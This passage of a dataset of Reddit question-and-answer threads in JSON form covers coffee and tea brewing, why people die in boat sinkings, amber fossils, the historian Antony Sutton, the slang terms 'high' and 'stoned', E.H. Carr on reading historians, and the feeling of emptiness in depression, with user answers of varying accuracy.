they\u2019re not popular due to them being a) more expensive, and b) less convenient than instant coffee or tea.", "It's odd you should mention this I recently bought coffee that works the same way as a tea bag, it's quite novel but actually makes a decent cup of coffee. ", "There are a bunch of different ways to brew coffee or tea.  I use a french press to make coffee.  I put grounds in a press, pour in hot water, and then let it steep.  Similarly, my tea-drinking wife puts tea leaves in a metal ball thing with holes in it, puts it in a mug and pours hot water in it.  It's pretty much the same process.\n\nAs far as why coffee doesn't come in tea bags, probably because people tend to make coffee by the pot.  That would be a lot of coffee bags.  It may also have to do with how easy it is to alter the strength of your coffee when you get to dictate how much grounds are used.", "A few people have pointed out that brewing coffee in a french press is similar to steeping tea.\n\nI would like to add that the reason we don't steep tea in a french press is because pressing down on tea leaves will cause the tea to be bitter. ", "French Press method does this. Coffee grounds are poured into hot water, then you use the press which just filters the coffee grounds to the bottom blocked by the filter, so your coffee will be free of grounds. My second favorite way of making coffee after moka pots.", "Coffee in tea-bags exist; but you need more coffee so the bags are larger. I\u2019ve seen theses mostly used at hotels in the rooms. ", "Cold brew is basically making tea without a bag, just not using heat. I guess its more like sun tea. And there definitely is a drink made up of ground cocoa beans like coffee. I don't know the name of it but had some in the Dominican Republic. It was literally just \"coffee\" made with roasted cocoa beans. It was really good, tasted like dark chocolate.", "To answer the question of why we don\u2019t brew cacao beans in a similar style to coffee: culture. American culture thinks of dessert, sugar, and creaminess when we think of chocolate. Brewed cacao beans are slightly bitter, and hardly taste like our idea of chocolate. However, many South American countries do brew cacao beans in a way similar to coffee, and it\u2019s absolutely delicious. You let the roasted cacao nibs steep in water just under a boil for about 10 minutes. Then you can drink it hot, or cool it and serve over ice. I would highly recommend it. ", "Correct way to make tea is china pot*, loose leaves, tea strainer at the ready when poured. Principle is no different from a coffee percolator, except that the coffee gets less time in contact with the water, and the strainer is integral.  \n* And don't forget, warm the pot first with a rinse of boiling water, and then \"Unless the kettle boiling be, filling the teapot spoils the tea\".", "My favorite hot drink is literally just ground cacao beans in a French press. Look up Crio Bru or Choffy.", "You can, and people do make coffee like tea and vise versa. \n\nA french press works by steeping coffee grounds in hot water similar to tea leaves in a teabag that are filtered out after a certain time. \n\nYou can make tea in a drip machine.  There is coffee sold in teabags (instant coffee). ", "There are dozens of ways to make coffee. Some high tech, some is just pouring water on grounds. Instant coffee you make the same way you make chocolate milk, just mix powder in water (tastes like shit though).\n\nBottom line is, if you can make coffee that way, then go for it.  There is no wrong way to make coffee just personal preferable ways.\n\nI often think we can save on so much unrecyclable plastics by switching k kups for filter paper bags or something. It would still serve the same purpose.", "You can make cold brew like you do tea. It requires a fair amount of coarse grounds and a lot of time though. ", "Cold brew is kind of like making tea but a way longer process. It still involves grinding the beans but I have to soak the grounds in water for 12-18 hours depending on how strong I want the final product. You stick the grounds in a fine strainer, one that won\u2019t let the grounds loosely seep through into the water but will slow drip into it. ", "People do, in various cultures, brew and prepare drinks as you've described. \n\nThere is a company called Chocosol that makes a spicy chocolate drink that is very popular at their local farmer's markets. ", "I've used coffee bags before but that's been covered; it wasn't great. And I've brewed cacao nibs and that worked out ok, but they're not quite as easy to infuse as ground coffee beans, a bit less permeable.   The taste isn't bitter, or more bitter than coffee at least, but of course it's not as sweet and mixed with fats as chocolate. The shells also work for brewing. I'm really a tea enthusiast (blogger) so I'll say more about that part.\n\nThe ground tea people are mentioning is CTC processed (crush tear curl). The grinding is a step that simplifies automated processing, but the tea is lower in quality.  Whole leaf tea releases compounds in different proportions.  People tend to call the ones causing astringency tannins, which isn't completely wrong, but polyphenols is better, and there's a sub-type beyond that category name.  Bitterness is really a different thing (a taste, not a feel aspect), and few teas are bitter, but some are.  Of course some restaurants really do essentially drip brew tea, as people claimed (and I have worked at a Denny's too, awhile back).  To produce the best tea you need to match brew temperature, proportion, and timing to type, and factor in preference.  Even the mineral content in the water can affect extraction results.\n\nTo make a long story short tea bag tea is bad tea.  So is a good bit of loose tea, but it would have to be pretty bad loose tea to be on par with anything in a tea bag.", "Since nobody actually answered the question, they do in fact sell coffee \"tea bags\".\n\n_URL_0_", "I actually do make my coffee the same way people make tea. Cold brew coffee is made by sleeping grounds in water over a 24 hour plus period just like how iced tea is made or regular tea but slowed down.", "I recently purchased some Maxwell House coffee bags that work like tea bags. I grew tired of Keurig coffee in the office. Not enough people drink coffee to make a Mr Coffee worthwhile. The coffee from these bags is not good. Not good at all.", "But we do! Cold brew coffee is made but putting coarse grounds in a \"sock\" and seeping it in water for a long time (~24 hours or longer depending on volume of water). This produces a stronger coffee with less acidity. \n\nWe also have the french pressed coffee which is _similar_ to how we make tea in which we seep the grounds except the grounds are not in a bag but instead loose.", "I make tea and coffee the same way. \n\nI tear off the string and tabs off tea bag, \n\nThrow 4 of them in the glass beaker of the percolater and turn it on.\n\nShould the tea require it, i throw in 3 tablespoons of sugar.\n\nMy coffee come in little baggies with no strings. I throw 4 of these into the glass of my percolater as well. The baggies comes with some sugar. We call them 2 in 1 coffee. \n\nBut i like to throw in 3 tablespoons of sugar as well\n\nMy percolater makes 12 cups. But its like dainty cups. In reality it only makes 6 mugs, 6, standard, cylindrical, no nonsensical curves, stable, mugs measuring approximately 3.5 inch in diameter and 4.5 inch in height.\n\nI drink my coffee with 3/4 coffee and 1/4 cold fresh milk. \n\nI never take the tea or coffee bags out of the pot after it is \u201cdone steeping\u201d and i never use the conical drip section of my percolater hahahaha. \n\nOne brewing last me half a day. I brew one pot of coffee in the morning, drink water when coffee runs out, then brew tea after dinner\n\nOf course this is an anecdote but here is another example of making fancy smanchy tea with fancy smanchy dripped coffee methods\n\n_URL_0_\n\nSo i have provided and example for dripping tea and steeping coffee. \n\nMy point is, yea you can absolutely make coffee and tea with the same methods. \n", "Regular brain: making tea with a coffee filter.\n\n\nExpanding brain: making tea in a keurig\n\n\nGalaxy brain:  making coffee in a gaiwan ", "I don\u2019t know if anyone has answered this part of your question yet, but we do have ground cocoa beans that you brew like coffee. I\u2019m pretty sure there are different brands, but the only one I know of is called Crio Bru. I love it! It\u2019s less acidic than coffee, and the amount of caffeine is obviously much much lower too. It\u2019s definitely bitter though, so I use sweetener and cream for sure. ", "I make tea in a keurig with a metal reusable K cup. It works much better than steeping imo, the tea comes out tasting much better. I've also seen coffee filter sized tea bags for easy use in drip coffee makers. ", "Oooo, it's probably already been answered. But at work where we make large containers of tea for our iced tea. We actually do make it the same way we make our coffee. Paper filter and a loooot of leaves. Comes out tasting just the same. Also smells wonderful as it brews!", "When I moved house recently and didn't have a teapot, I actually made tea in a stovetop espresso maker and it turned out lovely. You can also use a caf\u00e8tiere the same as you would with coffee.", "Tea is made in drip coffee machines all the time, usually only for shops though, its actually a really quick way of making a large batch of iced tea at home if you're in the mood for that sort of thing", "I found granulated tea and coffee bags in a supermarket last week![Picture ](_URL_0_)", "Ever make cowboy coffee? Throw grounds in a thermos, pour boiling water over and let it sit a few minutes, then a splash of cold water on top to make the grounds sink to the bottom. Not quite the same as a teabag but similar concept. Last few sips get a lil crunchy though lol. Works great for those days when you gotta leave camp for work at 5am and you roll/flop out of your tent at 4:55. ", "I once tried mixing cocoa into some ground coffee in the hope of making cocoa flavoured espresso in my machine. It didn't work. For some reason - my guess is due to the fat in the cocoa - the puck got kind of glued together  &  wouldn't let the hot water through at all.", "Because those tea bags were not meant to be used to make the tea, they were meant to be sample bags or single serve bags to be opened and used. But people started using them by dipping them in the cup so it caught on.", "There is a ground cacao bean drink that is sold at Whole Foods that brews just like coffee in a drip coffee maker and it\u2019s very tasty. It isn\u2019t sweet by any means but it also isn\u2019t overly bitter like cocoa nibs and I usually add it as a supplement flavor to my coffee grounds which comes out fantastically tasty.", "My wife just bought coffee bags this week.  I'd never seen them before.    Works just like a tea bag. ", "Late to the party, but:\n\nI don't know about anyone else, but I've frequently made tea using a coffee reservoir. I place a coffee liner, and then lay a few bags of tea flat on the bottom, and start brewing. This makes the tea really strong, but I dilute it with cold water and ice in a large pitcher, and add sugar/milk/lemon as desired.\n\nA little trashy, but handy substitute for a tea kettle, or steeping a single cup at a time. Makes early morning tea easy when all you have to do is get up and pour like coffee.", "You can get a French press and make both equally! It really depends on the way you like to brew!", "We do actually have tea type coffee bags in Australia, in my opinion they are terrible and can't extract anywhere near the potential amount of flavour out. ", "It's a custom.\n\nYou can pour hot water on tea in a [tea sieve or tea strainer](_URL_0_), which isn't much different than drip.\n\nOn the other hand you can use a [french press](_URL_1_) to make coffee, which isn't much different from infusing tea and then separate the grounds from the coffee.", "We do have products in Asia where it is just coffee grounds in a single use bag, just like teabags. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://sprudge.com/steeped-in-mystery-single-serve-coffee-bags-you-steep-like-tea-128267.html"], [], [], [], [], ["https://www.amazon.co.uk/Percol-Americano-Coffee-Bags-Pack/dp/B071WK3GRL"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.amazon.ca/Folgers-Coffee-Singles-Classic-Roast/dp/B0055B6J9A"], [], [], [], ["https://www.straitstimes.com/lifestyle/food/cafe-owner-dave-lim-brews-tea-like-coffee"], [], [], [], [], [], [], ["https://i.imgur.com/XEdu6gV.jpg"], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Tea_strainer", "https://en.wikipedia.org/wiki/French_press"], []]}
{"q_id": "cg14if", "title": "what is the major cause of death in the sinking of a boat?", "selftext": "To clarify, I do not mean drowning, but why do people not just swim away/tread water? Are there reasons why so many drown?  \n\n\n  \nAre there other common causes, and why is it common for rescuers/searchers to also lose their lives?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cg14if/eli5_what_is_the_major_cause_of_death_in_the/", "answers": {"a_id": ["euduvrn", "eudv4mz", "eudv61f", "eudvcqc", "eudvg5t", "eue8s08"], "score": [6, 4, 3, 2, 2, 2], "text": ["In many cases, the ship is a commercial vessel, such as a tanker, and is lost at sea during heavy storms. When if they get out and away from the ship, rescue is often impossible. Rough seas, high winds, big waves, cold rain all are a bad mix for survival. \n\nIn other cases, people are trapped by damage to the ship. In cases where the ship flips over, it can become impossible to actually get out. Or there may be a fire, which alone is deadly, but may prevent escape until it's too late. \n\nLess common, especially that, would be contagions such as biological or chemical agents. Any leak on a ship is pretty much inescapable, and therefore often deadly.", "If the ship sinking is heavy enough, it actually creates a vacuum effect and can pull you down like a rip current as it sinks. Also, hypothermia is the #1 killer, if the water is even 60 degrees, your body will not be able to keep itself warm for very long, and your organs will begin to shut down.", "Swimming is pretty exhausting, even in relatively calm conditions, and just \"floating\" is only really possible when conditions are near-perfect. Throw in the potential for rough weather and very cold water and the likelihood of survival plummets.", "I can\u2019t answer about other causes, but I imagine in most boat sinkings where a significant number of people die there\u2019s nowhere close to swim to and they don\u2019t know where to swim. Plus it\u2019s not easy to even swim in a straight line without markers. Then add in currents and waves and things like this. It\u2019d be hard to navigate to land unless you can see it.\n\nAnd many people probably can\u2019t tread water all that long. My head starts bobbing under water and it gets tough after about 1-2 hours of treading water and I consider myself a reasonably active 23 year old male in decent physical condition. If I was fighting for my life I like to think I could float on my back and tread and make it a day or so. But then hunger, sleep, thirst start to set in. Many would fare worse than I and would drown sooner.", "There are people killed by whatever disaster sank the boat. If the boat was torpedoed and there were big explosions and that's why it's sinking, well, those explosions probably killed some people.\n\nThere are people who are killed taking deadly risks trying to keep the boat from sinking. Maybe someone went into a compartment that was filling with water to try and stop a leak, but didn't get out in time. Maybe there was a fire, and sailors were killed trying to put it out. That kind of thing.\n\nThen there are people who can't swim, or can't swim safely in the turbulent water near a sinking ship (which is not exactly a swimming pool). Or who can't fit in the lifeboats, or can't reach them. Being able to swim, or even tread water, isn't the same as being able to do it indefinitely.", "If a boat sinks quickly, they get trapped inside the boat. It takes time for people to get to the exits. Once water starts to go into the doors, it\u2019s almost impossible to get through those doors because the force of the water is too strong to move against. If you\u2019re on deck, you can probably get out"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5hfoif", "title": "With amber playing such an important role in the fossil record, I can't help wondering why big globs of resin were seemingly so abundant during ancient eras. Can someone explain?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5hfoif/with_amber_playing_such_an_important_role_in_the/", "answers": {"a_id": ["dazwrpx", "db0irov"], "score": [96, 6], "text": ["There are plenty of plants today putting out big gobs of resin, it just hasn't had a chance to fossilize yet. The reason amber is so important is because it tends to leave parts of other organisms intact, not because there was much more of it being made than there is today.", "Another smaller point in addition to the answer already here is that it doesn't have to be all that abundant. Remember that these periods are tens to hundreds of millions of years. I mean, think of the entirety of human history, which is just around two hundred thousand years. It's not hard to imagine that at the very least once or twice a few bugs got captured by some sap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2w47vm", "title": "Can anyone weigh in on the work of Antony Sutton? His wiki page has my BS detector buzzing.", "selftext": "One of this guy's books has been suggested for a book club, specifically *Wall Street and the Rise of Hitler* (1999). I've been trying to determine whether Sutton's work is taken seriously or not, but haven't been able to find much. \n\nWhat worries me are some of his other book titles (*The Federal Reserve Conspiracy, How the Order Controls Education*) as well as quotes like this: \"There is no such thing as Soviet technology. Almost all \u2014 perhaps 90-95 percent \u2014 came directly or indirectly from the United States and its allies. In effect the United States and the NATO countries have built the Soviet Union.\"\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2w47vm/can_anyone_weigh_in_on_the_work_of_antony_sutton/", "answers": {"a_id": ["cong7wo"], "score": [18], "text": ["I can find only one academic review of *any* of his works, which in itself should set off alarm bells.  It's a review of Sutton's book *Wall Street and FDR (1976),* from the *Business History Review,* which has this choice tidbit in it:\n\n > *Wall Street and FDR* is a weak specimen of \"conspiracy history\" and one of its sub-genres, \"ruling class theory.\"  It is poorly written and edited, digressive, repetitious, disorganized and unconvincing. \n\nPut that, the *total absence* of academic reviews of his more recent books, and the fact that his books have titles like *The Federal Reserve Conspiracy* and *America's Secret Establishment: An Introduction to the Order of Skull  &  Bones* and you've got yourself a conspiracy theorist.  Run away!\n\n**Edit:** Did some further digging and there are a few more reviews of his very early work (a three-part series of books called *Western Technology and Soviet Economic Development 1930 to 1945*) on JSTOR - one positive, two quite negative.  And I found one other review of *Wall Street and the Bolshevik Revolution,* which points to its \"numerous\" factual errors, and suggests that the book (and Sutton) are more likely targets for \"ridicule\" than attention from serious academics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ihpkf", "title": "where did smoking terms like \"high\" or \"stoned\" originate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ihpkf/eli5_where_did_smoking_terms_like_high_or_stoned/", "answers": {"a_id": ["cugin9q", "cugoqyv", "cugr5h1", "cugsxlz", "cugtxze", "cugudll", "cugur2b", "cugur3b", "cugwbc5", "cugx4i1"], "score": [1195, 21, 3, 29, 6, 2, 5, 5, 13, 18], "text": ["As far back as 1620, \"high\" meant \"euphorically drunk\" (i.e., on alcohol). It's that stage of drinking where you're still cheerful: your spirits are high. It didn't come to be used for other drugs until the 1930s.\n\n\"Stoned\" also originally meant \"drunk\" and was later transferred to being intoxicated on cannabis. I can find references to it in the first meaning to the late 18th century (as \"stone drunk\"), but why \"stone\" I'm not sure. One possibility is that it's connected with phrases like \"stone-deaf\", which means \"completely unable to hear\". Maybe \"stone drunk\" originally meant that you were so drunk, you were totally out of it, perhaps even unconscious.", "High made sense for me the first time I ever smoked when I was 13. I hit my neighbor's bong in the woods and when we were walking back to my place I felt like my head was on the top floor of an elevator and the rest of me was on the ground floor.  Stoned I got from new wave reggae music.", "The shortest explanation? Jazz.", "[According to this](_URL_0_), getting stoned was still getting stone-drunk in the 1940s. Stoned was adopted by beboppers but still meant drunk. I'd wager that somewhere between bebop parents and hippie kids, stoned became synonymous with pot.\n\n[According to THIS](_URL_2_) in the 1930s stoned meant drunk or intoxicated with narcotics. By the 1960s it meant a \"stuporous person\"\n\nAs for getting high, [according to this](_URL_1_) like others have said it meant high off alcohol back in the 1600s. Then in the 1930s it took to mean high off drugs.", "I think one of the best terms for a stoner that is no longer used these days would have to be \"viper\".", "I remember when I was really young getting really stoned and thinking that pot was called pot because it made me feel like a pot.", "To say someone was 'stoned' on alcohol was a common phrase as recent as the late 1960's in the US. \"Don't mind him, he's just stoned on beer.\"", "The book \"Alcoholics Anonymous\" uses the term stoned in multiple places to refer to being drunk.", "I would be more interested to know where the term \"cashed\" came from. As in this bowl is cashed. I've smoked with people from all over and they all say it. ", "Baked is the best term for a marijuana high in my opinion. It feels as if you just spent 25 minutes at 350 F and now you're golden brown and gooey on the inside"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://english.stackexchange.com/questions/57256/origin-of-the-expression-get-stoned", "http://www.etymonline.com/index.php?term=high", "http://www.etymonline.com/index.php?search=Stoned"], [], [], [], [], [], []]}
{"q_id": "1jora9", "title": "E.H. Carr: \"Study the historian before you begin to study the facts.\" What do you think?", "selftext": "The wider context, from his first lecture in *What is History?* (1961):\n\n >  ...if, as Collingwood says, the historian must re-enact in thought what has gone on in the mind of his dramatis personae, so the reader in his turn must re-enact what goes on in the mind of the historian.  Study the historian before you begin to study the facts.  This is, after all, not very abstruse.  It is what is already done by the intelligent undergraduate who, when recommended to read a work by that great scholar Jones of St. Jude's, goes round to a friend at St. Jude's to ask what sort of chap Jones is, and what bees he has in his bonnet.  When you read a work of history, always listen out for the buzzing.  If you can detect none, either you are tone deaf or your historian is a dull dog.\n\n >  The facts are really not at all like fish on the fishmonger's slab.  They are like fish swimming about in a vast and sometimes inaccessible ocean; and what the historian catches will depend, partly on chance, but mainly on what part of the ocean he chooses to fish in and what tackle he chooses to use -- these two factors being, of course, determined by what kind of fish he wants to catch.  By and large, the historian will get the kind of facts he wants.\n\nI have no specific question to ask beyond this: what say you?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jora9/eh_carr_study_the_historian_before_you_begin_to/", "answers": {"a_id": ["cbgs6pk", "cbgsdhs", "cbgun2g", "cbgwlkd", "cbh273p"], "score": [12, 16, 5, 2, 3], "text": ["I saith, like any good, boring historian: \"Yes and no.\" Yes, in the sense that all historians bring their own perspectives, concerns, interests, and even biases to their analysis of the past. Some have true bees in their bonnets. Some only have fleas. A couple have ladybugs. \n\nBut also no, in the sense that there is nothing more tedious than engaging in endless historiography, in trying to suss out everyone's individual biases. Read lots of works on the same topic and the differences will pop out, whether you've researched the historians who wrote them or not. Be wary of historians who summarize without citing specific sources, who tell you what someone \"probably\" or \"perhaps\" thought. And I don't think explicit bias is quite as much as a problem as Carr is letting on; it is often a more subtle thing than Carr seems to think it is, not so much a case of the fish you want to catch, but the fish you are catching because you don't realize your net is only sized for certain types of fish.\n\nPersonally, I like to go to the archive most of all, if it is something I care about and am working on, and read up the secondary literature after the fact. It does sometimes lead to a lot of later catch-up and repetition of work, e.g. \"discovering\" things that others have long since known, but it also means that I often develop quite a different perspective than the \"standard\" one, I notice things that I might not otherwise have been drawn to, and, well, it's just a lot more fun to read the original as opposed to someone else's take on the original. ", "This is pretty much my process when it comes to constructing full arguments and theses; even in exercises when I'm primarily dealing with direct textual sources or archaeology I will almost always spend some time within the essay on the directions previous research has gone in. I'm also very conscious of historians 'getting the kind of fact they want', and in choosing what they're looking for. This can actually have a relatively drastic effect on how a source is utilised, if the analysts of the time have a similar set of priorities and interests. It's why adages that you don't discover something from reappraising old evidence are rather inaccurate.\n\nTo expand on getting the kind of fact you want, this is particularly true in ancient history and related fields. There are so many gaps in evidence, so many finds that lack context, and in particular we lack the kind of meta-awareness of many periods that actually allows us to place everything in context with one another without having to place our own interpretations to fill the gaps. Choices of not only what facts you want but also what picture you want to create are all too common. It is an extraordinarily constant temptation that hovers like a welcoming lover. It's why I so constantly prod myself into pointing out that there isn't enough evidence to fully conclude one way or the other; it interferes with some of the fluency of argument, sure, but it certainly makes me feel more honest.", "I only bother to research the historian if the text they wrote leads me to a question, really.  If something seems off, or if the quotes from their sources seems incomplete, or if too many things are wrapped up neatly with a bow I get suspicious.\n\nThe thing is, I dont trust any historian to begin with.  If I am going to read the Bible critically, then I sure as heck am going to read everybody else with a big container of salt next to me.  I expect bias, and I have no real problem with it.  In fact, I prefer a biased argument to a weak recitation of facts, as far as reading goes.  But if your argument is too tidy, I am going to know that you're hiding the counter-evidence and I am going to look you up and figure out why.  Same thing for chopped-up quotes, as they are often a sign of cherry-picking your sources.  \n\nBasically, I dont think an unbiased account is possible, even if it could be desirable.  But if the historian gives me a reasonable account, I am not going to go hunting up their life story.  I am also not going to trust them, either.  They either make a good argument with good supporting evidence, or they dont.  Until they cross me, I dont bother worrying about it.", "Yes, I absolutely agree with Carr in this case. And what's more, study your own inclinations, biases, and interpretations.", "What an excellent question!  Obviously, these answers will be full of personal anecdotes, so I'll contribute mine.  I've found in my field that there are scholars who are scholars for whom intellectual honesty is paramount and then there are scholars for whom political correctness matters more.  Where I identify these are sometimes in their works, but more often in their reviews of others' works.  Identifying these biases is really important, because it allows you to judge a work's trustworthiness.  That being said, even the most political works can have good sources.  I don't think I agree with anything Eric Hobsbawm has ever done, but he's usually pretty careful about his sourcing.  In other words, his facts are accurate, even if I don't think his conclusions are.\n\nAll that being said, we have to be very attentive to sources.  I was an undergrad while Bellesile was at Emory and that guy just plain made shit up.  Years later I was at a history conference with one of his graduate school colleagues who had become a distinguished historian in her own right.  She proceeded to get totally smashed at the bar.  Drunkenly she said to me \"Who among us hasn't made up a cite?  We shouldn't be treating him so harshly!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "dm1pe8", "title": "what causes that feeling of \"emptiness\" when someone experiences an episode of depression or sadness?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dm1pe8/eli5_what_causes_that_feeling_of_emptiness_when/", "answers": {"a_id": ["f4w1sq2", "f4wlz5d", "f4wr6sl", "f4wsjh7", "f4wwtyb", "f4x27p9", "f4x8er3", "f4xb2i7", "f4xgbjm", "f4xlns3", "f4yj9x6", "f4yjk68", "f4yzbpx", "f4z1hv6", "f4zpoct"], "score": [4592, 19, 52, 5, 14, 3, 6, 580, 2, 79, 270, 2, 2, 8, 2], "text": ["It is not fully understood by science but much research points towards some form of serotonin deficiency, in either its production or turnover in our bodies. Serotonin is a neurotransmitter that we synthesise from the tryptophan we eat in our food and helps us regulate mood. Whilst poor diet can clearly contribute it is also clear that certain experienced events can also disturb our brain chemistry. Generally speaking that emptiness will also coincide with a lower level of serotonin or an ineffectiveness of the serotonin receptors in our brain to process it.", "There's a lot of complex answers here and not really ELI5\n\nI think an easy way is to think how our thoughts, feelings, behaviours and even physical sensations are all linked with one another\n\nWhen we see something we don't like we almost automatically go into fight or flight, to help deal with the situation\n\nPart of that process involves our brain turning off our digestion so that it can use that energy somewhere more helpful\n\nTurning off our digestion can feel a bit funny in your belly", "Research shows that the hippocampus (underneath the brain's cerebrum) dictates the appropriate behaviour for your current mood. Chronic depression has been shown to shrink the size of the hippocampus and so make it hard to moderate mood. \n\nThis is also part of the autobiographic memory network - used to think within one's self. This moderates self-contained thoughts. The problem arises when you consider that another network, the cognitive control network, almost becomes innate whilst the autobiographic is turned on. We use cognitive control to focus, retain important information and complete tasks as well as rationalise thought. Inversely, the autobiographic also helps us formulate mental images and imagination. So the shrinking of part of it can make positive thoughts or probl solving difficult from a practical standpoint.\n\nEssentially, dopamine helps us dictate (note - this is Action Selection Theory and though generally accepted, has yet to be further proven) which action to take through 'thresholds'. Simply understand that everything has a 'potential' to create energy. Our body measures that potential and reacts based on the different strengths of potential. Dopamine binds with the 'basal ganglia' to activate a response across neurons. Everytime this works, the basal ganglia is 'rewired' to make the dopamine easier to bind to, allowing the successful behaviour to be repeated.\n\nThis is in essence what hormones are doing. When depressed, the levels of dopamine released and required become problematic. We cannot activate the correct 'potentials' to create reactions which let us make productive decisions. We cannot access the cognitive control network efficiently and so we become stuck in a negative feedback loop. Without the dopamine (and sometimes seratonin), we find it hard to concentrate, visualise and so find solutions or ways to vocalise how we are feeling, making us sadder. \n\nI'm no expert, this is all fairly simplified and I'm sure to some extent fallacy, feel free to correct any errors in my understanding.", "What causes any feeling?\n\nThe body (including the brain) is one complex machine, with a tangled history of biochemistry and evolution. Everything serves more than one purpose, and every purpose is served by more than one thing. Genetic templates rendered useless by a new ecological niche aren't often just thrown away, instead they're repurposed.\n\nThis is mostly conjecture, but sadness is mostly about lack, about absence or loss, that is, dissatisfaction. It's the sort of emotion that our ancestors would've had, hundreds of thousands of generations ago, before we had this whole massive abstract thought and long-term prediction engine bolted on, with all its capacity to feel sad over metaphysical absences. Our pre-lizard hind-brains, the fight-flight-feed-fuck machines, aren't terribly changed since then, so... as silly as it sounds to say it like this, I think that this particular deep flavor of sadness **might literally be a form of hunger**, your body reacts to and communicates this the expected way.\n\nEvery emotion is, on some level, a tool for DNA to use to make its vehicle perform better at making more of that same DNA. Hunger is a powerful one, because food is a fundamental need. Of course it'd be repurposed. Depression is probably an extreme failure mode of a mechanism designed to say, \"This environment is not fulfilling you [ie, providing what you need to replicate me], seek a different one.\"", "So I can't give a scientific answer of the actual biological components at play, but I can give a practical answer because I have struggled with this for some time.  The nervous system has multiple states it can be in - fight, flight, or freeze.  When you're in a depressed state, you are most likely in a freeze state, which can be thought of as a low energy, \"stuck\" state - think of a frozen animal in the wild.  Along with these states, the mind has multiple coping mechanisms to deal with the painful feelings associated with whatever it is one is going through.  One very common reaction is to disconnect, or dissociate from ones self in order to protect the mind and body from the painful or uncomfortable feelings associated what the situation.  When in this state, you are disconnected from your body - your feelings, your desires, your basic self.  That, to me, could very easily described as a feeling of \"emptiness\" because when not in that state, you are likely \"filled\" with all sorts of thoughts, feelings, and emotions.", "I am curious to know if people with a heightened awareness of understanding one one-self would be able to conquer depression.\n\nPerhaps that sounds a little dumb, but if one understands how to make oneself happy but ***chooses*** to continue to do things to stay down under can it still be considered \"clinical depression\".", "You project how you feel now into the future, your mind is always projecting and adding your current feelings into its subconscious simulations of the future. If it's one of no growth or negative growth, you are going to feel defeated, pointless, down. As you are literally going down from whatever stable high you were before. And it's all perspective. Wise people try to live a stable life with little to no highs. What goes up. Comes down.\n\nBad feelings are the experience of negative PERSPECTIVE, good feelings are visa versa.\n\nPain is an overload of sensation. Pain doesn't really exist. Lower the input of \"pain\" and it becomes a gentle sensation, like someone stroking your skin. A tingle, higher it, and it becomes unbearable.", "Your brain is like a room full of fun floating balloons that you love and they always keep you happy. The happy balloons only float for a certain amount of time and then they go all flat, fall back to the ground, and then get filled up with fun air again and float back to the top! The happiness cycle starts again! There are always full balloons in the room so you\u2019re always able to feel happiness!\n\nWhen you\u2019re depressed, what happens is, the floor of your room unfortunately breaks and falls away and there\u2019s just a big, black hole in the ground. Your fun, happy balloons deflate like normal but instead of sitting on the ground to inflate again, they fall into the dark hole and get lost. It can take ages for you to rebuild the floor so you might not be happy for a long time, but rest assured that with hard work you can get the bricks back down and get some balloons back in there so the cycle of inflating and deflating can return again like normal! \n\nThe balloons in this case are actually a happy chemical called serotonin; your brain sometimes forgets how to keep serotonin inside itself properly like the room in the story above, so people feel a kind of sadness. Some tablets you take can help you keep the serotonin in your brain and stop it from vanishing into the black hole, which helps you regain happiness and rebuild that floor so your brain can keep the serotonin around by itself!", "It comes from a feeling of \u201cnot enough\u201d. I\u2019m not enough, not good enough, not worthy.", "When you are in so much pain, your mind creates a space between yourself and the pain so you can't feel the pain. That's the void you are experiencing. The problem is that it doesn't just create space between you and the pain, but all other senses like pleasurable senses as well.", "I have lived with depression for over 30 years. Some days are fine, some days (weeks, months) are unbearable. This answer comes from my personal experience. \n\nImagine you have a person following you around. Everything you try to do, they tell you it's dumb and you're an idiot for doing it. Every nice thing someone says, your follower cuts them off and tells them they're wrong.\n\nWith depression, that person lives in your head. \n\nSo imagine now the things you enjoy. Pizza? It's gonna make you fat. Sex? She doesn't want you. Games? What an effing loser -- what are you even accomplishing? \n\nHow do you find joy in those things with your own brain shitting on them constantly. That's why they feel empty. That's why you feel empty.\n\nHTH.", "Sadness is most often loneliness which is an evolutionary mechanism that urged us to rejoin our tribe. The people that didn\u2019t experience this died. The ones that did, went back to their tribe and survived and reproduced. Unfortunately many of us do not have a tribe to return to.", "Follow up question.\nHow can you tell if a medication is not working for you?\nI've been on sertraline for 5 weeks and I've been feeling worse. I'll wait a couple more weeks to see if there is some improvement.", "Obtaining a doctorate in clinical psychology and have clinical depression:\n\nSerotonin is absolutely a contributing factor because it plays a key role in everyday life (sex, behavior, sleep, memory, etc...) to the feeling of emptiness but it\u2019s not the only neurotransmitter. Norepinephrine also plays a huge role that\u2019s often overlooked in patients with depression. It mobilizes the brain and body for action. Then we have dopamine for motivation and oxytocin (aka the love hormone). \n\nThe feeling of emptiness is usually accompanied by isolation, whether self imposed or circumstantial, and a lack of good support (healthy relationships with friends and family; participation in the community; feelings of success in education and career). \n\nSo let\u2019s break it down into a cycle of depression and give a general look at what starts to happen:\n\nLet\u2019s say Albert is working 60 hours a week at a desk job. He stays late to work hard on projects, comes home, makes dinner, watches his shows, gets ready for bed, and that\u2019s his entire work week. Albert doesn\u2019t have a romantic partner and has been single for a year or more. He had a nasty divorce but he somehow powered through and kept working at his job because he knew that\u2019s what he needed to do. \n\nAlbert, just like everyone else, has a different rate of processing stress. After the divorce he felt relief but six months later, Albert finds himself feeling stuck. He\u2019s slipping behind on his work, deadlines are getting harder to achieve. Albert isn\u2019t sleeping as well as he did before and he\u2019s not eating the healthy diet he had a year before. \n\nAlbert continues on like this for another month. Everything starts to puke up on him. Bills aren\u2019t being paid on 